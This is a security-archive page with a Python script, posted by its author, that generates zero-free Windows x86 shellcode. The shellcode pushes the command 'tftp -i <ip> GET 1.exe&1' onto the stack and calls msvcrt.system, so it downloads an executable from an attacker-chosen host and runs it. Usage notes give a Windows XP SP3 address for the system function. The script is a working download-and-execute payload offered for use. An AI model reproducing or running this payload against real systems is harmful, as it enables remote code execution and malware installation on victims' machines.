what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Windows/x86 Download With TFTP And Execute Shellcode

Windows/x86 Download With TFTP And Execute Shellcode
Posted Jan 11, 2019
Authored by Semen Alexandrovich Lyhin

Windows/x86 download with TFTP and execute shellcode generator.

tags | x86, shellcode
systems | windows
SHA-256 | c8cc51a087e29761255b9bf2a95108df4695236b166eb1953a24eed80cb7568c

Windows/x86 Download With TFTP And Execute Shellcode

Change Mirror Download
#!/bin/python

#Author: Semen Alexandrovich Lyhin.
#https://www.linkedin.com/in/semenlyhin/
#This script generates x86 shellcode to download and execute .exe file via tftp. File name should be equal to: "1.exe"
#Lenght: 51-56 bytes, zero-free.

import sys

def GetOpcodes(ip,addr):
command = r"tftp -i " + ip + r" GET 1.exe&1"
#add spaces, if required.
command += (4-len(command)%4)%4*" "

#calculate opcodes for the command
opcodes = ""
for s in [command[i:i+4] for i in xrange(0,len(command),4)][::-1]: #split by 4-char strings and reverse order of the strings in the list
opcodes += "68" #push
for char in s:
opcodes += hex(ord(char))[2:].zfill(2)

#zero out eax and push it. If there is zeroed register, we can simplify this operation. Check it manually.
opcodes = "33C050" + opcodes
#push esp. Modify this part, to make program stabler. #mov eax,esp #push eax
opcodes += "54"
#move addr of msvcrt.system to ebx
opcodes += "BB" + addr
#call ebx
opcodes += "FFD3"
return opcodes

if __name__ == "__main__":
if len(sys.argv)!=3:
print "Usage: " + sys.argv[0] + " <ip> <address of msvcrt.system>"
print "Address of msvcrt.system == C793C277 for Windows XP Professional SP3"
exit()
opcodes = GetOpcodes(sys.argv[1],sys.argv[2])
print opcodes
print "Lenght:" + str(len(opcodes)/2)
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close